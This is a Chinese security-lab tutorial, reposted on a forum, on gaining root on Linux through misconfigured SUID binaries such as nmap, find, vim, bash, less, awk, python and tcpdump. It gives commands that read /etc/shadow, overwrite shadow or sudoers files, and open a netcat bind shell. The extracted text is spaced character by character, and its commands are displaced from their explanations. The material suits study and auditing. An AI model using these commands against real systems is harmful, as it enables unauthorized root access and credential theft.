搜索

[26934] 2020-03-16_Linux下利用SUID提权

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-19
2020-03-16_Linux下利用SUID提权 L i n u x 下 利 用 S U I D 提 权 徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 2 0 - 0 3 - 1 6 今 天 给 大 家 带 来 的 是 l i n u x 下 的 提 权 技 巧 。 S U I D 是 L i n u x 的 一 种 权 限 机 制 ， 具 有 这 种 权 限 的 文 件 会 在 其 执 行 时 ， 使 调 用 者 暂 时 获 得 该 文 件 拥 有 者 的 权 限 。 如 果 拥 有 S U I D 权 限 ， 那 么 就 可 以 利 用 系 统 中 的 二 进 制 文 件 和 工 具 来 进 行 r o o t 提 权 。 已 知 的 可 用 来 提 权 的 l i n u x 可 行 性 的 文 件 列 表 如 下 ： 以 下 命 令 可 以 发 现 系 统 上 运 行 的 所 有 S U I D 可 执 行 文 件 。 具 体 来 说 ， 命 令 将 尝 试 查 找 具 有 r o o t 权 限 的 S U I D 的 文 件 。 发 现 S U I D 可 执 行 文 件 以 上 所 有 二 进 制 文 件 都 将 以 r o o t 用 户 权 限 执 行 ， 因 为 它 们 的 权 限 中 包 含 " s " ， 并 且 对 应 的 是 r o o t 权 限 。 S U I D 可 执 行 文 件   -   N m a p N M A P 较 旧 版 本 的 N m a p （ 2 . 0 2 至 5 . 2 1 ） 具 有 交 互 模 式 ， 允 许 用 户 执 行 s h e l l 命 令 。 由 于 N m a p 在 使 用 r o o t 权 限 执 行 的 二 进 制 文 件 列 表 中 ， 因 此 可 以 使 用 交 互 式 控 制 台 来 运 行 具 有 相 同 权 限 的 s h e l l 。 N m a p V i m f i n d B a s h M o r e L e s s N a n o c p f i n d   /   - u s e r   r o o t   - p e r m   - 4 0 0 0   - p r i n t   2 > / d e v / n u l l f i n d   /   - p e r m   - u = s   - t y p e   f   2 > / d e v / n u l l f i n d   /   - u s e r   r o o t   - p e r m   - 4 0 0 0   - e x e c   l s   - l d b   { }   ; l s   - l   / u s r / b i n / n m a p - r w s r - x r - x   1   r o o t   r o o t   7 8 0 6 7 6   2 0 0 8 - 0 4 - 0 8   1 0 : 0 4   / u s r / b i n / n m a p n m a p   - V
N m a p   -   版 本 识 别 交 互 模 式 可 以 通 过 执 行 N m a p 参 数 " i n t e r a c t i v e " N m a p   -   交 互 模 式 以 下 命 令 将 提 供 一 个 提 升 的 s h e l l 。 提 权 至 R o o t 权 限 也 可 以 通 过 M e t a s p l o i t 模 块 对 N m a p 的 二 进 制 文 件 进 行 权 限 提 升 。 F i n d 如 果 F i n d 命 令 也 是 以 S u i d 权 限 运 行 的 话 ， 则 将 通 过 f i n d 执 行 的 所 有 命 令 都 会 以 r o o t 权 限 执 行 。 F i n d 命 令 权 限 提 升 大 部 分 L i n u x 操 作 系 统 都 安 装 了 n e t c a t ， 因 此 也 可 以 被 利 用 来 将 权 限 提 升 至 r o o t 。 通 过 F i n d 运 行 N e t c a t 连 接 上 去 就 会 直 接 获 取 到 一 个 R o o t 权 限 的 s h e l l 。 n m a p   - - i n t e r a c t i v e n m a p >   ! s h s h - 3 . 2 #   w h o a m i r o o t e x p l o i t / u n i x / l o c a l / s e t u i d _ n m a p t o u c h   p e n t e s t l a b f i n d   p e n t e s t l a b   - e x e c   w h o a m i   ; f i n d   p e n t e s t l a b   - e x e c   n e t c a t   - l v p   5 5 5 5   - e   / b i n / s h   ; n e t c a t   1 9 2 . 1 6 8 . 1 . 1 8 9   5 5 5 5 i d
R o o t 权 限 的 s h e l l V I M V i m 是 L i n u x 环 境 下 的 一 款 文 件 编 辑 器 。 但 是 ， 如 果 以 S U I D 运 行 的 话 ， 它 会 继 承 r o o t 用 户 的 权 限 ， 因 此 可 以 读 取 系 统 上 的 所 有 文 件 。 V i m   -   S h a d o w 文 件 读 取 V i m   -   R o o t 权 限 B a s h 以 下 命 令 将 以 r o o t 权 限 打 开 一 个 b a s h   s h e l l 。 i d c a t   / e t c / s h a d o w v i m . t i n y   / e t c / s h a d o w v i m . t i n y #   P r e s s   E S C   k e y : s e t   s h e l l = / b i n / s h : s h e l l
B a s h   -   R o o t 权 限 L e s s L e s s 和 M o r e 都 执 行 以 用 来 提 权 。 获 取 到 R o o t 权 限 c p 使 用 c p 覆 盖   / e t c / s h a d o w m v 使 用 m v   覆 盖   / e t c / s h a d o w   或 者 / e t c / s u d o e r s a w k m a n p y t h o n / p e r l / r u b y / l u a / e t c 1 .   p e r l b a s h   - p b a s h - 3 . 2 #   i d u i d = 1 0 0 2 ( s e r v i c e )   g i d = 1 0 0 2 ( s e r v i c e )   e u i d = 0 ( r o o t )   g r o u p s = 1 0 0 2 ( s e r v i c e ) l e s s   / e t c / p a s s w d ! / b i n / s h m o r e   / h o m e / p e l l e / m y f i l e ! / b i n / b a s h a w k   ' B E G I N   { s y s t e m ( " / b i n / b a s h " ) } ' m a n   p a s s w d ! / b i n / b a s h e x e c   " / b i n / b a s h " ;
2 .   p y t h o n t c p d u m p 参 考 资 料 参 考 资 料 h t t p s : / / p e n t e s t l a b . b l o g / 2 0 1 7 / 0 9 / 2 5 / s u i d - e x e c u t a b l e s / h t t p : / / b l o g . c s d n . n e t / h a o f e i f e i 6 / a r t i c l e / d e t a i l s / 1 1 5 1 6 7 5 3 h t t p s : / / e v i 1 c g . m e / a r c h i v e s / S U I D _ P r i v i l e g e _ E s c a l a t i o n . h t m l 扫 描 下 方 二 维 码 学 习 更 多 扫 描 下 方 二 维 码 学 习 更 多 W E B 安 全 知 识 ： 安 全 知 识 ： M s 0 8 0 6 7 安 全 实 验 室 安 全 实 验 室 e x e c   " / b i n / b a s h " ; i m p o r t   o s o s . s y s t e m ( " / b i n / b a s h " ) e c h o   $ ' i d n c a t   / e t c / s h a d o w '   >   / t m p / . t e s t c h m o d   + x   / t m p / . t e s t s u d o   t c p d u m p   - l n   - i   e t h 0   - w   / d e v / n u l l   - W   1   - G   1   - z   / t m p / . t e s t   - Z   r o o t
专 注 于 普 及 网 络 安 全 知 识 。 团 队 已 出 版 《 W e b 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 ， 《 内 网 安 全 攻 防 ： 《 内 网 安 全 攻 防 ： 渗 透 测 试 渗 透 测 试 实 战 指 南 》 实 战 指 南 》 ， 目 前 在 编 P y t h o n 渗 透 测 试 ， J A V A 代 码 审 计 和 二 进 制 逆 向 方 面 的 书 籍 。 团 队 公 众 号 定 期 分 享 关 于 C T F 靶 场 、 内 网 渗 透 、 A P T 方 面 技 术 干 货 ， 从 零 开 始 、 以 实 战 落 地 为 主 ， 致 力 于 做 一 个 实 用 的 干 货 分 享 型 公 众 号 。 官 方 网 站 ： w w w . m s 0 8 0 6 7 . c o m
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理